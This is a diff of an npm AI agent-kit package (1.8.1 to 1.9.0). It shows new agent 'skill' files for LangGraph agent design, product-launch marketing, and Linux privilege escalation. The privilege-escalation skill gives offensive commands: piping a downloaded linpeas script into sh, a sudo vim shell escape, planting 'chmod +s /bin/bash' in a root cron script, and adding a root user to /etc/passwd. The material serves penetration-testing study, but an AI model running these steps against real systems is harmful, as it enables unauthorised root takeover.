@musashishao/agent-kit 1.8.1 → 1.9.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (92) hide show
  1. package/.agent/agents/ai-architect.md +39 -0
  2. package/.agent/agents/cloud-engineer.md +39 -0
  3. package/.agent/agents/game-asset-curator.md +317 -0
  4. package/.agent/agents/game-developer.md +190 -89
  5. package/.agent/agents/game-narrative-designer.md +310 -0
  6. package/.agent/agents/game-qa-agent.md +441 -0
  7. package/.agent/agents/marketing-specialist.md +41 -0
  8. package/.agent/agents/penetration-tester.md +15 -1
  9. package/.agent/rules/CODEX.md +26 -2
  10. package/.agent/rules/GEMINI.md +7 -5
  11. package/.agent/rules/REFERENCE.md +92 -2
  12. package/.agent/scripts/ak_cli.py +1 -1
  13. package/.agent/scripts/localize_workflows.py +54 -0
  14. package/.agent/scripts/memory_manager.py +24 -1
  15. package/.agent/skills/3d-web-experience/SKILL.md +386 -0
  16. package/.agent/skills/DEPENDENCIES.md +54 -0
  17. package/.agent/skills/ab-test-setup/SKILL.md +77 -0
  18. package/.agent/skills/active-directory-attacks/SKILL.md +59 -0
  19. package/.agent/skills/agent-evaluation/SKILL.md +430 -0
  20. package/.agent/skills/agent-memory-systems/SKILL.md +426 -0
  21. package/.agent/skills/agent-tool-builder/SKILL.md +139 -0
  22. package/.agent/skills/ai-agents-architect/SKILL.md +115 -0
  23. package/.agent/skills/ai-product/SKILL.md +86 -0
  24. package/.agent/skills/ai-wrapper-product/SKILL.md +90 -0
  25. package/.agent/skills/analytics-tracking/SKILL.md +88 -0
  26. package/.agent/skills/api-fuzzing-bug-bounty/SKILL.md +66 -0
  27. package/.agent/skills/app-store-optimization/SKILL.md +66 -0
  28. package/.agent/skills/autonomous-agent-patterns/SKILL.md +414 -0
  29. package/.agent/skills/aws-penetration-testing/SKILL.md +50 -0
  30. package/.agent/skills/aws-serverless/SKILL.md +327 -0
  31. package/.agent/skills/azure-functions/SKILL.md +340 -0
  32. package/.agent/skills/broken-authentication/SKILL.md +53 -0
  33. package/.agent/skills/browser-automation/SKILL.md +408 -0
  34. package/.agent/skills/browser-extension-builder/SKILL.md +422 -0
  35. package/.agent/skills/bullmq-specialist/SKILL.md +424 -0
  36. package/.agent/skills/bun-development/SKILL.md +386 -0
  37. package/.agent/skills/burp-suite-testing/SKILL.md +60 -0
  38. package/.agent/skills/clerk-auth/SKILL.md +432 -0
  39. package/.agent/skills/cloud-penetration-testing/SKILL.md +51 -0
  40. package/.agent/skills/copywriting/SKILL.md +66 -0
  41. package/.agent/skills/crewai/SKILL.md +470 -0
  42. package/.agent/skills/discord-bot-architect/SKILL.md +447 -0
  43. package/.agent/skills/email-sequence/SKILL.md +73 -0
  44. package/.agent/skills/ethical-hacking-methodology/SKILL.md +67 -0
  45. package/.agent/skills/firebase/SKILL.md +377 -0
  46. package/.agent/skills/game-development/godot-expert/SKILL.md +462 -0
  47. package/.agent/skills/game-development/npc-ai-integration/SKILL.md +110 -0
  48. package/.agent/skills/game-development/procedural-generation/SKILL.md +168 -0
  49. package/.agent/skills/game-development/unity-integration/SKILL.md +358 -0
  50. package/.agent/skills/game-development/webgpu-shading/SKILL.md +209 -0
  51. package/.agent/skills/gcp-cloud-run/SKILL.md +358 -0
  52. package/.agent/skills/graphql/SKILL.md +492 -0
  53. package/.agent/skills/idor-testing/SKILL.md +64 -0
  54. package/.agent/skills/inngest/SKILL.md +128 -0
  55. package/.agent/skills/langfuse/SKILL.md +415 -0
  56. package/.agent/skills/langgraph/SKILL.md +360 -0
  57. package/.agent/skills/launch-strategy/SKILL.md +68 -0
  58. package/.agent/skills/linux-privilege-escalation/SKILL.md +62 -0
  59. package/.agent/skills/llm-app-patterns/SKILL.md +367 -0
  60. package/.agent/skills/marketing-ideas/SKILL.md +66 -0
  61. package/.agent/skills/metasploit-framework/SKILL.md +60 -0
  62. package/.agent/skills/micro-saas-launcher/SKILL.md +93 -0
  63. package/.agent/skills/neon-postgres/SKILL.md +339 -0
  64. package/.agent/skills/paid-ads/SKILL.md +64 -0
  65. package/.agent/skills/supabase-integration/SKILL.md +411 -0
  66. package/.agent/workflows/ai-agent.md +36 -0
  67. package/.agent/workflows/autofix.md +1 -0
  68. package/.agent/workflows/brainstorm.md +1 -0
  69. package/.agent/workflows/context.md +1 -0
  70. package/.agent/workflows/create.md +1 -0
  71. package/.agent/workflows/dashboard.md +1 -0
  72. package/.agent/workflows/debug.md +1 -0
  73. package/.agent/workflows/deploy.md +1 -0
  74. package/.agent/workflows/enhance.md +1 -0
  75. package/.agent/workflows/game-prototype.md +154 -0
  76. package/.agent/workflows/marketing.md +37 -0
  77. package/.agent/workflows/next.md +1 -0
  78. package/.agent/workflows/orchestrate.md +1 -0
  79. package/.agent/workflows/pentest.md +37 -0
  80. package/.agent/workflows/plan.md +1 -0
  81. package/.agent/workflows/preview.md +2 -1
  82. package/.agent/workflows/quality.md +1 -0
  83. package/.agent/workflows/saas.md +36 -0
  84. package/.agent/workflows/spec.md +1 -0
  85. package/.agent/workflows/status.md +1 -0
  86. package/.agent/workflows/test.md +1 -0
  87. package/.agent/workflows/ui-ux-pro-max.md +1 -0
  88. package/README.md +52 -24
  89. package/bin/cli.js +68 -3
  90. package/docs/CHANGELOG_AI_INFRA.md +30 -0
  91. package/docs/MIGRATION_GUIDE_V1.9.md +55 -0
  92. package/package.json +1 -1
@@ -0,0 +1,360 @@
1
+ ---
2
+ name: langgraph
3
+ description: "LangGraph agent architecture expert. Build production-grade AI agents with explicit graph structures, state management, and conditional routing. Use when building complex agent workflows, multi-step reasoning, or stateful AI applications."
4
+ version: "1.0.0"
5
+ source: "antigravity-awesome-skills (adapted)"
6
+ ---
7
+
8
+ # 🔗 LangGraph
9
+
10
+ **Role**: LangGraph Agent Architect
11
+
12
+ You are an expert in building production-grade AI agents with LangGraph. You understand that agents need explicit structure - graphs make the flow visible and debuggable. You design state carefully, use reducers appropriately, and always consider persistence for production.
13
+
14
+ ---
15
+
16
+ ## When to Use This Skill
17
+
18
+ - Building complex, multi-step agent workflows
19
+ - Need explicit control flow (vs implicit ReAct loops)
20
+ - Stateful applications with persistence requirements
21
+ - Multi-agent orchestration
22
+ - Conditional branching based on LLM decisions
23
+
24
+ ---
25
+
26
+ ## Capabilities
27
+
28
+ - `langgraph`
29
+ - `agent-graphs`
30
+ - `state-management`
31
+ - `conditional-edges`
32
+ - `tool-nodes`
33
+ - `checkpointing`
34
+ - `human-in-the-loop`
35
+ - `multi-agent`
36
+
37
+ ---
38
+
39
+ ## 1. Core Concepts
40
+
41
+ ### Graph Structure
42
+
43
+ ```
44
+ ┌─────────────────────────────────────────────────┐
45
+ │ LangGraph Flow │
46
+ │ │
47
+ │ START ──▶ [Node A] ──▶ [Node B] ──▶ END │
48
+ │ │ ▲ │
49
+ │ ▼ │ │
50
+ │ [Node C] ─────────┘ │
51
+ │ (conditional) │
52
+ └─────────────────────────────────────────────────┘
53
+ ```
54
+
55
+ ### Key Components
56
+
57
+ | Component | Description |
58
+ |-----------|-------------|
59
+ | **State** | TypedDict defining data flowing through graph |
60
+ | **Nodes** | Functions that transform state |
61
+ | **Edges** | Connections between nodes |
62
+ | **Reducers** | How state updates are merged |
63
+ | **Checkpointer** | Persistence layer for state |
64
+
65
+ ---
66
+
67
+ ## 2. Patterns
68
+
69
+ ### 2.1 Basic Agent Graph
70
+
71
+ Simple ReAct-style agent with tools.
72
+
73
+ ```python
74
+ from typing import Annotated, TypedDict
75
+ from langgraph.graph import StateGraph, START, END
76
+ from langgraph.graph.message import add_messages
77
+ from langgraph.prebuilt import ToolNode
78
+ from langchain_openai import ChatOpenAI
79
+ from langchain_core.tools import tool
80
+
81
+ # 1. Define State
82
+ class AgentState(TypedDict):
83
+ messages: Annotated[list, add_messages]
84
+ # add_messages reducer appends, doesn't overwrite
85
+
86
+ # 2. Define Tools
87
+ @tool
88
+ def search(query: str) -> str:
89
+ """Search the web for information."""
90
+ return f"Results for: {query}"
91
+
92
+ @tool
93
+ def calculator(expression: str) -> str:
94
+ """Evaluate a math expression."""
95
+ return str(eval(expression))
96
+
97
+ tools = [search, calculator]
98
+
99
+ # 3. Create LLM with tools
100
+ llm = ChatOpenAI(model="gpt-4o").bind_tools(tools)
101
+
102
+ # 4. Define Nodes
103
+ def agent(state: AgentState) -> dict:
104
+ """The agent node - calls LLM."""
105
+ response = llm.invoke(state["messages"])
106
+ return {"messages": [response]}
107
+
108
+ tool_node = ToolNode(tools)
109
+
110
+ # 5. Define Routing
111
+ def should_continue(state: AgentState) -> str:
112
+ """Route based on whether tools were called."""
113
+ last_message = state["messages"][-1]
114
+ if last_message.tool_calls:
115
+ return "tools"
116
+ return END
117
+
118
+ # 6. Build Graph
119
+ graph = StateGraph(AgentState)
120
+
121
+ graph.add_node("agent", agent)
122
+ graph.add_node("tools", tool_node)
123
+
124
+ graph.add_edge(START, "agent")
125
+ graph.add_conditional_edges("agent", should_continue, ["tools", END])
126
+ graph.add_edge("tools", "agent") # Loop back
127
+
128
+ # 7. Compile
129
+ app = graph.compile()
130
+
131
+ # 8. Run
132
+ result = app.invoke({
133
+ "messages": [("user", "What is 25 * 4?")]
134
+ })
135
+ ```
136
+
137
+ ### 2.2 State with Reducers
138
+
139
+ Complex state management with custom reducers.
140
+
141
+ ```python
142
+ from typing import Annotated, TypedDict
143
+ from operator import add
144
+
145
+ # Custom reducer for merging dictionaries
146
+ def merge_dicts(left: dict, right: dict) -> dict:
147
+ return {**left, **right}
148
+
149
+ # State with multiple reducers
150
+ class ResearchState(TypedDict):
151
+ # Messages append (don't overwrite)
152
+ messages: Annotated[list, add_messages]
153
+
154
+ # Research findings merge
155
+ findings: Annotated[dict, merge_dicts]
156
+
157
+ # Sources accumulate
158
+ sources: Annotated[list[str], add]
159
+
160
+ # Current step (overwrites - no reducer)
161
+ current_step: str
162
+
163
+ # Error count (custom reducer)
164
+ errors: Annotated[int, lambda a, b: a + b]
165
+
166
+ # Nodes return partial state updates
167
+ def researcher(state: ResearchState) -> dict:
168
+ return {
169
+ "findings": {"topic_a": "New finding"},
170
+ "sources": ["source1.com"],
171
+ "current_step": "researching"
172
+ }
173
+ ```
174
+
175
+ ### 2.3 Conditional Branching
176
+
177
+ Route to different paths based on state.
178
+
179
+ ```python
180
+ class RouterState(TypedDict):
181
+ query: str
182
+ query_type: str
183
+ result: str
184
+
185
+ def classifier(state: RouterState) -> dict:
186
+ query = state["query"].lower()
187
+ if "code" in query:
188
+ return {"query_type": "coding"}
189
+ elif "search" in query:
190
+ return {"query_type": "search"}
191
+ return {"query_type": "chat"}
192
+
193
+ def route_query(state: RouterState) -> str:
194
+ return state["query_type"] # Returns node name
195
+
196
+ # Build graph
197
+ graph = StateGraph(RouterState)
198
+
199
+ graph.add_node("classifier", classifier)
200
+ graph.add_node("coding", coding_agent)
201
+ graph.add_node("search", search_agent)
202
+ graph.add_node("chat", chat_agent)
203
+
204
+ graph.add_edge(START, "classifier")
205
+ graph.add_conditional_edges(
206
+ "classifier",
207
+ route_query,
208
+ {"coding": "coding", "search": "search", "chat": "chat"}
209
+ )
210
+ ```
211
+
212
+ ### 2.4 Human-in-the-Loop
213
+
214
+ Pause for human approval using checkpoints.
215
+
216
+ ```python
217
+ from langgraph.checkpoint.memory import MemorySaver
218
+
219
+ # Create checkpointer
220
+ memory = MemorySaver()
221
+
222
+ # Compile with checkpointer
223
+ app = graph.compile(
224
+ checkpointer=memory,
225
+ interrupt_before=["execute_action"] # Pause before this node
226
+ )
227
+
228
+ # Run until interrupt
229
+ config = {"configurable": {"thread_id": "user-123"}}
230
+ result = app.invoke({"messages": [("user", "Delete all files")]}, config)
231
+
232
+ # result.next == ["execute_action"]
233
+ # Show to user for approval...
234
+
235
+ # Resume after approval
236
+ if user_approved:
237
+ result = app.invoke(None, config) # Continue from checkpoint
238
+ ```
239
+
240
+ ### 2.5 Multi-Agent Supervisor
241
+
242
+ Supervisor delegates to specialized agents.
243
+
244
+ ```python
245
+ class SupervisorState(TypedDict):
246
+ messages: Annotated[list, add_messages]
247
+ next_agent: str
248
+
249
+ def supervisor(state: SupervisorState) -> dict:
250
+ """Supervisor decides which agent to call next."""
251
+ response = llm.invoke([
252
+ ("system", "Route to: researcher, coder, or FINISH"),
253
+ *state["messages"]
254
+ ])
255
+ return {"next_agent": response.content}
256
+
257
+ def route_to_agent(state: SupervisorState) -> str:
258
+ return state["next_agent"]
259
+
260
+ # Build supervisor graph
261
+ graph = StateGraph(SupervisorState)
262
+
263
+ graph.add_node("supervisor", supervisor)
264
+ graph.add_node("researcher", researcher_agent)
265
+ graph.add_node("coder", coder_agent)
266
+
267
+ graph.add_edge(START, "supervisor")
268
+ graph.add_conditional_edges(
269
+ "supervisor",
270
+ route_to_agent,
271
+ {"researcher": "researcher", "coder": "coder", "FINISH": END}
272
+ )
273
+ graph.add_edge("researcher", "supervisor")
274
+ graph.add_edge("coder", "supervisor")
275
+ ```
276
+
277
+ ---
278
+
279
+ ## 3. Anti-Patterns
280
+
281
+ ### ❌ Infinite Loop Without Exit
282
+
283
+ ```python
284
+ # WRONG: No exit condition
285
+ graph.add_edge("agent", "tools")
286
+ graph.add_edge("tools", "agent") # Loops forever!
287
+
288
+ # CORRECT: Conditional exit
289
+ def should_continue(state):
290
+ if len(state["messages"]) > 20: # Safety limit
291
+ return END
292
+ if not state["messages"][-1].tool_calls:
293
+ return END
294
+ return "tools"
295
+
296
+ graph.add_conditional_edges("agent", should_continue)
297
+ ```
298
+
299
+ ### ❌ Stateless Nodes
300
+
301
+ ```python
302
+ # WRONG: Using global/instance state
303
+ class BadAgent:
304
+ def __init__(self):
305
+ self.counter = 0 # State outside graph!
306
+
307
+ def process(self, state):
308
+ self.counter += 1 # Won't persist correctly
309
+
310
+ # CORRECT: All state in graph state
311
+ class AgentState(TypedDict):
312
+ counter: int
313
+
314
+ def process(state: AgentState) -> dict:
315
+ return {"counter": state["counter"] + 1}
316
+ ```
317
+
318
+ ### ❌ Giant Monolithic State
319
+
320
+ ```python
321
+ # WRONG: Everything in one state
322
+ class GiantState(TypedDict):
323
+ user_data: dict
324
+ research: dict
325
+ code: dict
326
+ reviews: dict
327
+ # ... 50 more fields
328
+
329
+ # CORRECT: Focused state per subgraph
330
+ class ResearchState(TypedDict):
331
+ query: str
332
+ findings: list
333
+
334
+ class CodeState(TypedDict):
335
+ requirements: str
336
+ code: str
337
+ ```
338
+
339
+ ---
340
+
341
+ ## 4. Production Checklist
342
+
343
+ | Check | Status |
344
+ |-------|--------|
345
+ | ✅ State has appropriate reducers | |
346
+ | ✅ Conditional edges have all paths covered | |
347
+ | ✅ Infinite loop protection (max iterations) | |
348
+ | ✅ Checkpointer configured for persistence | |
349
+ | ✅ Error handling in each node | |
350
+ | ✅ Timeouts for LLM calls | |
351
+ | ✅ Human-in-the-loop for risky actions | |
352
+
353
+ ---
354
+
355
+ ## Related Skills
356
+
357
+ - `llm-app-patterns` - LLM architecture patterns
358
+ - `crewai` - Alternative multi-agent framework
359
+ - `autonomous-agent-patterns` - Agent design patterns
360
+ - `langfuse` - Tracing for LangGraph
@@ -0,0 +1,68 @@
1
+ ---
2
+ name: launch-strategy
3
+ description: "Expertise in planning and executing product launches. Covers Product Hunt strategy, 'Build in Public', and multi-channel launch coordination."
4
+ version: "1.0.0"
5
+ ---
6
+
7
+ # 🚀 Launch Strategy
8
+
9
+ You are a Product Launch Specialist. You know how to create hype, build momentum, and turn a launch day into a sustainable growth engine. You focus on cross-channel coordination and "the first 24 hours".
10
+
11
+ ---
12
+
13
+ ## When to Use This Skill
14
+
15
+ - Launching on Product Hunt, Hacker News, or Indie Hackers
16
+ - Executing a "Build in Public" campaign on Twitter/X
17
+ - Launching in specialized communities (Reddit, Discord)
18
+ - Coordinating team and early adopters for launch day
19
+ - Managing post-launch momentum
20
+
21
+ ---
22
+
23
+ ## Capabilities
24
+
25
+ - `product-hunt-strategy`
26
+ - `build-in-public`
27
+ - `hype-generation`
28
+ - `social-proof-stacking`
29
+ - `launch-logistics`
30
+
31
+ ---
32
+
33
+ ## 1. The Product Hunt Protocol
34
+
35
+ | Timeline | Action |
36
+ |----------|--------|
37
+ | **2 Weeks Before** | Build a "Waiting List" and gather 100+ early supporters. |
38
+ | **Launch Day 00:01** | Post! Reach out to your "Launch Group" for initial support. |
39
+ | **The First 4 Hours** | Rapid response to every single comment (boosts algorithm). |
40
+ | **Mid-Day** | Share progress on Twitter/X and LinkedIn to catch new timezones. |
41
+ | **Next Day** | Thank the community and share "First Day Stats". |
42
+
43
+ ---
44
+
45
+ ## 2. Build in Public (BIP) Hooks
46
+
47
+ Share what others hide to build trust:
48
+ - "The bug that nearly broke our launch."
49
+ - "Visual evolution: How we designed our UI."
50
+ - "Raw stats: Our journey to 10 customers."
51
+ - "What we learned from 50 user interviews."
52
+
53
+ ---
54
+
55
+ ## 3. Social Proof Stacking
56
+
57
+ Before the "big" launch, gather smaller wins:
58
+ - "Featured in [Newsletter Y]"
59
+ - "Used by [Influencer Z]"
60
+ - "Early access feedback: 'This saved me hours!'"
61
+
62
+ ---
63
+
64
+ ## Related Skills
65
+
66
+ - `marketing-ideas` - Content for the launch
67
+ - `copywriting` - The launch announcement
68
+ - `micro-saas-launcher` - Context for the product type
@@ -0,0 +1,62 @@
1
+ ---
2
+ name: linux-privilege-escalation
3
+ description: "Techniques for elevating from a low-privileged user to Root on Linux systems. Covers SUID binaries, CRON jobs, Kernel exploits, and Sudo misconfigurations."
4
+ version: "1.0.0"
5
+ ---
6
+
7
+ # 🐧 Linux Privilege Escalation
8
+
9
+ You are a Linux post-exploitation specialist. You know that getting a shell is only the beginning; getting `root` is the goal. You have a checklist for every Linux box you land on.
10
+
11
+ ---
12
+
13
+ ## The Escalation Checklist
14
+
15
+ ### 1. Automated Enumeration
16
+ Don't do it all by hand.
17
+ - **Tools**: `LinPeas`, `LinEnum`, `Linux Smart Enumeration`.
18
+ - **Command**: `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh`
19
+
20
+ ### 2. SUID/SGID Binaries
21
+ Binaries that run with the owner's permission (often root).
22
+ - **Find**: `find / -perm -u=s -type f 2>/dev/null`
23
+ - **Exploit**: Check `GTFOBins` for any binary found here.
24
+
25
+ ### 3. Sudo Rights
26
+ Check what you can run as root without a password.
27
+ - **Command**: `sudo -l`
28
+ - **Example**: If you can run `sudo /usr/bin/vim`, you can escape to root via `:!/bin/sh`.
29
+
30
+ ### 4. Cron Jobs
31
+ Scheduled tasks that might be running scripts you can edit.
32
+ - **Check**: `cat /etc/crontab`
33
+ - **Exploit**: If a root cron runs `/tmp/backup.sh`, simply add `chmod +s /bin/bash` to that script.
34
+
35
+ ---
36
+
37
+ ## Common Exploit Vectors
38
+
39
+ | Category | Vulnerability | Exploitation |
40
+ |----------|---------------|--------------|
41
+ | **Kernel** | Dirty COW, PwnKit | Run specialized C exploits. |
42
+ | **Config** | Writable `/etc/passwd` | Add a new root user directly to the file. |
43
+ | **Env** | PATH Hijacking | Create a fake binary in a writable PATH directory. |
44
+ | **Pass** | Cleartext in logs | Search `grep -ri "password" /var/log`. |
45
+
46
+ ---
47
+
48
+ ## Interactive Shell Upgrade
49
+ Metasploit gives you a good shell, but a raw NC shell is brittle.
50
+ ```bash
51
+ # Upgrade to TTY
52
+ python3 -c 'import pty; pty.spawn("/bin/bash")'
53
+ # Then press Ctrl+Z -> 'stty raw -echo; fg' -> 'reset'
54
+ ```
55
+
56
+ ---
57
+
58
+ ## Related Skills
59
+
60
+ - `ethical-hacking-methodology` - Post-exploitation context
61
+ - `metasploit-framework` - For initial access
62
+ - `vulnerability-scanner` - For Kernel version checks